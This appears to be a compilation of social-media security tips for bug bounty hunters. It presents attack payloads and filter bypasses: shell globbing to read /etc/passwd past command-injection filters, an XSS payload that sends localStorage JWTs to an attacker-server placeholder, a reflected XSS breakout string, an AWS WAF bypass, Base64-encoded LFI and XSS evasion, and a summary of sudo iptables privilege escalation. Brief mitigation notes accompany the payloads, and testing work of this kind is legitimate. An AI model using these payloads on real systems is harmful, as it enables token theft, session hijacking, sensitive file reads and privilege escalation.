A neat trick for bypassing WAF/filters while testing for OS command injection vulnerabilities.

Use shell globbing / wildcard expansion. Here is an example

cat /e*c/p*s*d is equivalent to cat /etc/passwd. But how?

Before cat runs, the shell expands the glob pattern /e*c/p*s*d to match actual files and directories in the filesystem.

/e*c: The shell interprets this as "any path starting with /e, followed by zero or more characters (*), ending with c."

/p*s*d: This matches a path or file name starting with p, followed by zero or more characters (*), then s, then zero or more characters (*), then d

🚨 XSS Payload : Stealing JWT from Local Storage 🚨

A malicious XSS payload can be used to extract JSON Web Tokens (JWTs) stored in localStorage and send them to an attacker-controlled server. Here's a simple yet dangerous example:

<img src='https://<attacker-server>/yikes?jwt='+JSON.stringify(localStorage);'--!>

🛠 How It Works:

This payload injects an <img> tag into a vulnerable webpage.
The src attribute is set to an attacker's server, appending the contents of localStorage (which may contain JWTs or sensitive data).
When executed, the victim's browser sends their JWTs to the attacker's server.

🔥 Why Is This Dangerous?

Attackers can hijack sessions and gain unauthorized access.
Sensitive tokens (JWT, API keys) can be stolen and misused.
If exploited on an admin panel, attackers might escalate privileges.

🛡 How to Prevent It?

✔️ Use HTTP-Only Cookies: Store authentication tokens in cookies with the HttpOnly and Secure flags to prevent JavaScript access.

✔️ Implement CSP (Content Security Policy): Restrict inline scripts and unauthorized domains.

✔️ Sanitize User Input: Use libraries like DOMPurify to prevent injecting malicious HTML.

✔️ Validate & Escape Data Properly: Ensure user inputs are validated before rendering.

🚀 Stay Secure 🔐

🧨 Reflected XSS (RXSS) Payload Alert! 🧨

Reflected XSS (RXSS) vulnerabilities allow attackers to inject and execute malicious scripts by crafting special payloads. Here's a custom payload that triggers a prompt pop-up when injected into a vulnerable web application

💣 Custom Payload:

"></a></td></tr></table><script>prompt('ijustcopypastelikeanoob');</script></html>//

🔥 How It Works:

- Breaks out of HTML structure using "></a></td></tr></table>.

- Injects a <script> tag that executes JavaScript.

- Triggers a prompt function, confirming code execution.

⚠️ Potential Dangers:

Can be modified to steal cookies, localStorage, or session tokens.
Attackers can perform actions on behalf of users (CSRF-like behavior).
Could be used to deface websites, spread malware, or execute phishing attacks.

🛡 How to Prevent RXSS?

✔️ Sanitize & Escape User Input: Remove or encode characters like <, >, ", '.

✔️ Use CSP (Content Security Policy): Restrict inline scripts and only allow trusted domains.

✔️ Validate Input on Server & Client Side: Never trust user-generated data.

✔️ Use Security Libraries: Implement DOMPurify or similar libraries to filter untrusted input.

🚀 Stay Safe ! 🔐

🚀 Exploring Privilege Escalation via sudo iptables 🚀

In a recent blog post by Shielder, security researchers delve into two innovative techniques that allow a low-privileged user to escalate their privileges to root by leveraging sudo permissions on iptables and iptables-save.
SHIELDER.COM

Key Takeaways

Injecting Fake /etc/passwd Entries:

By executing iptables and iptables-save with sudo, an attacker can inject a malicious entry into the /etc/passwd file. This is achieved by adding a crafted comment in an iptables rule and then using iptables-save to overwrite the legitimate /etc/passwd file, effectively creating a new user with root privileges.

Exploiting Missing Kernel Modules:

If the system lacks certain kernel modules required by iptables, an attacker can utilize the --modprobe argument to execute arbitrary commands. This method relies on the attacker's ability to run iptables with sudo and the absence of specific kernel modules on the target system.
These findings underscore the importance of carefully managing sudo permissions and ensuring that only trusted users have access to powerful system utilities like iptables. Administrators are advised to review their sudoers configurations and restrict access to such commands to mitigate potential security risks.

🛡 Exclusive AWS WAF Bypass – Works on All Tags (Even <meta>)! 🔥

💡 Bypassing AWS Web Application Firewall (WAF)
using a unique payload that executes JavaScript onmouseover, even in restricted tags like <meta> (but not <input type="hidden">).

🔹 Payload:

<xhzeem attr="--- x="=='='onmouseover=confirm`xhzeem` style="display:block;width:1000px;height:1000px;background:red"> --- ">

⚡️ How It Works:

✅ Uses a *custom HTML tag (`<xhzeem>`) to bypass WAF detection.*
✅ Encapsulates the payload in an *unusual attribute structure.*
✅ The *`onmouseover=confirm('xhzeem')`* triggers when hovered over.
✅ Works on *various HTML tags* (even `<meta>`, `<div>`, `<span>`), making it a powerful *XSS attack vector.*

🚨 Why Is This Dangerous?

🔻 Can be used for *session hijacking, cookie theft, or phishing.*
🔻 AWS WAF may fail to detect this due to *non-standard attribute structures.*
🔻 Possible *bypass for CSP/XSS filters* in misconfigured apps.

🛡 Mitigation Steps:

✔️ Use a strict Content Security Policy (CSP).
✔️ Implement proper input sanitization.
✔️ Don't rely solely on AWS WAF for XSS protection!
✔️ Perform security testing using advanced payloads like this!

🚀 Stay Secure & Test Your WAF Rules!

🔥 Bypassing Security Filters Using Base64 Encoding 🔥

💡 Why didn't we use plain /etc/passwd?
When trying to access sensitive files directly via Local File Inclusion (LFI), the server often detects known patterns (e.g., /etc/passwd) and blocks them with a 403 Forbidden response. However, many filters don’t decode Base64-encoded payloads, allowing us to bypass restrictions.

🚀 Example: Bypassing LFI Restrictions

❌ Blocked Attempt:

url/?f=/etc/passwd  ==> 403 (Forbidden)

🔻 The server has a security mechanism in place to detect and block direct access to sensitive files.

✅ Bypassing with Base64 Encoding:

First, encode /etc/passwd into Base64:

echo -n "/etc/passwd" | base64

🔹 Output: L2V0Yy9wYXNzd2Q=

Then, send the request with the encoded payload:

url/?f=L2V0Yy9wYXNzd2Q=  ==> 200 (Success)

🔹 If the server automatically decodes Base64 before processing the request, it may serve the /etc/passwd file without triggering security filters.

📌 Where Can This Trick Be Used?

🔹 SQL Injection (SQLi):

Some WAFs block ' or -- in queries. By encoding or double-encoding the payload, you can bypass detection.

🔹 Server-Side Template Injection (SSTI):

Certain template engines automatically decode Base64, allowing exploitation through encoded payloads.

🔹 Cross-Site Scripting (XSS):

Some WAFs block <script>. By encoding it, you may bypass the filter and execute the script.

<img src="data:image/svg+xml;base64,PHNjcmlwdD5hbGVydCgneHhzJyk8L3NjcmlwdD4=">

(Decodes to <script>alert('xxs')</script> inside an SVG file)

🔹 Local File Inclusion (LFI):

As shown above, encoding file paths can trick the server into allowing
access.

🔹 Remote File Inclusion (RFI):

Some servers allow including external files when encoded in Base64.

🛡 Mitigation Techniques
🔹 Disable automatic Base64 decoding in web applications.
🔹 Use allowlists instead of blocklists for filtering inputs.
🔹 Enforce strict input validation to reject encoded malicious payloads.
🔹 Monitor logs for unusual Base64 patterns that could indicate an attack.

🔥 Takeaway for Bug Bounty Hunters & Pentesters
✅ Encoding payloads in Base64, double Base64, or URL encoding can help bypass WAFs and security filters.
✅ Always check if the server decodes Base64 before processing input—this can be a goldmine for exploitation.
✅ Combine encoding with other techniques (e.g., double encoding, path traversal, null-byte injection) for better results!
